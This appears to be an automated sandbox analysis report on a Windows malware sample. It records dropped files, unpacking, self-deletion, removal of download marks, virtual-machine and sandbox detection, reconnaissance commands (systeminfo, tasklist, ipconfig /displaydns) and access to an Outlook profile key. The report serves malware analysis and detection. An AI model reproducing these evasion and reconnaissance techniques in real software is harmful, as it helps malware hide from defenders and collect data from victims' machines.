Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Unpacked PE file: 0.2.O4zPA1oI9Y.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\jvgasii	Unpacked PE file: 6.2.jvgasii.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Unpacked PE file: 9.2.DE97.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.yig:W;.tls:W;.jetax:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\uegasii	Unpacked PE file: 10.2.uegasii.400000.0.unpack .text:ER;.rdata:R;.data:W;.yig:W;.tls:W;.jetax:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe

Code function: 11_2_00007FF7CBCA78EC LoadLibraryA,GetProcAddress,GetCurrentProcess,IsWow64Process,

11_2_00007FF7CBCA78EC

Source: DE97.exe.2.dr	Static PE information: section name: .yig
Source: DE97.exe.2.dr	Static PE information: section name: .jetax
Source: uegasii.2.dr	Static PE information: section name: .yig
Source: uegasii.2.dr	Static PE information: section name: .jetax

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_004014D9 pushad ; ret	0_2_004014E9
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_004031DB push eax; ret	0_2_004032AB
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_005F1540 pushad ; ret	0_2_005F1550
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00626460 push esp; ret	0_2_00626462
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00624803 push B63524ADh; retn 001Fh	0_2_0062483A
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00625300 pushfd ; iretd	0_2_00625301
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_004014D9 pushad ; ret	6_2_004014E9
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_004031DB push eax; ret	6_2_004032AB
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_006B1540 pushad ; ret	6_2_006B1550
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_007E4540 push esp; ret	6_2_007E4542
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_007E28E3 push B63524ADh; retn 001Fh	6_2_007E291A
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_007E33E0 pushfd ; iretd	6_2_007E33E1
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00402842 pushad ; retf F6A4h	9_2_004029D1
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00401065 pushfd ; retf	9_2_0040106A
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00402805 push 21CACAEFh; iretd	9_2_0040280A
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00402511 push ebp; iretd	9_2_00402523
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00403325 push eax; ret	9_2_004033F3
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00403433 pushad ; ret	9_2_004035AB
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00401182 push esp; retf	9_2_0040118E
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00402A9D pushad ; retf	9_2_00402AAB
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_004012B7 push cs; iretd	9_2_004012B8
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00532578 push ebp; iretd	9_2_0053258A
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_0053286C push 21CACAEFh; iretd	9_2_00532871
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_0053131E push cs; iretd	9_2_0053131F
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00532B04 pushad ; retf	9_2_00532B12
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_005310CC pushfd ; retf	9_2_005310D1
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_005311E9 push esp; retf	9_2_005311F5
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_00402842 pushad ; retf F6A4h	10_2_004029D1
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_00401065 pushfd ; retf	10_2_0040106A
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_00402805 push 21CACAEFh; iretd	10_2_0040280A
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_00402511 push ebp; iretd	10_2_00402523

Source: O4zPA1oI9Y.exe	Static PE information: section name: .text entropy: 7.491043543257427
Source: DE97.exe.2.dr	Static PE information: section name: .text entropy: 7.536145601404052
Source: uegasii.2.dr	Static PE information: section name: .text entropy: 7.536145601404052
Source: jvgasii.2.dr	Static PE information: section name: .text entropy: 7.491043543257427

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\DE97.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8CAE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jvgasii	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\uegasii	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\uegasii			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jvgasii			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\o4zpa1oi9y.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\jvgasii:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\uegasii:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\explorer.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_16-884

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PnPEntity WHERE ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}"
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, PNPDeviceID, Manufacturer, Description FROM Win32_PnPEntity WHERE ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}"

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapter WHERE PhysicalAdapter=TRUE
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, MACAddress, ProductName, ServiceName, NetConnectionID FROM Win32_NetworkAdapter WHERE PhysicalAdapter=TRUE
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_StartupCommand
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, Location, Command FROM Win32_StartupCommand

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	API/Special instruction interceptor: Address: 7FFDB442E814
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	API/Special instruction interceptor: Address: 7FFDB442D584
Source: C:\Users\user\AppData\Roaming\jvgasii	API/Special instruction interceptor: Address: 7FFDB442E814
Source: C:\Users\user\AppData\Roaming\jvgasii	API/Special instruction interceptor: Address: 7FFDB442D584
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	API/Special instruction interceptor: Address: 7FFDB442E814
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	API/Special instruction interceptor: Address: 7FFDB442D584
Source: C:\Users\user\AppData\Roaming\uegasii	API/Special instruction interceptor: Address: 7FFDB442E814
Source: C:\Users\user\AppData\Roaming\uegasii	API/Special instruction interceptor: Address: 7FFDB442D584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: uegasii, 0000000A.00000002.3041161604.000000000073E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK
Source: DE97.exe, 00000009.00000002.2777536515.00000000006CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK`]

Source: C:\Users\user\AppData\Local\Temp\DE97.exe

Code function: 9_2_00401E65 rdtsc

9_2_00401E65

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 16_2_02F01016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,

16_2_02F01016

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 431	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 933	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 692	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2388	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 886	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 870	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 3093	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2561	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 4410	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 4277

Source: C:\Windows\SysWOW64\explorer.exe

API coverage: 9.8 %

Source: C:\Windows\explorer.exe TID: 5692	Thread sleep count: 431 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4904	Thread sleep count: 933 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4904	Thread sleep time: -93300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1176	Thread sleep count: 692 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1176	Thread sleep time: -69200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6440	Thread sleep count: 321 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3756	Thread sleep count: 252 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3380	Thread sleep count: 257 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5036	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6948	Thread sleep count: 145 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5352	Thread sleep count: 115 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4904	Thread sleep count: 2388 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4904	Thread sleep time: -238800s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 3500	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 6436	Thread sleep count: 3093 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 6436	Thread sleep time: -3093000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2156	Thread sleep count: 2561 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2156	Thread sleep time: -2561000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1224	Thread sleep count: 4410 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1224	Thread sleep time: -4410000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7008	Thread sleep count: 4277 > 30
Source: C:\Windows\explorer.exe TID: 7008	Thread sleep time: -4277000s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Caption, Manufacturer, PrimaryOwnerName, UserName, Workgroup FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, NumberOfCores FROM Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

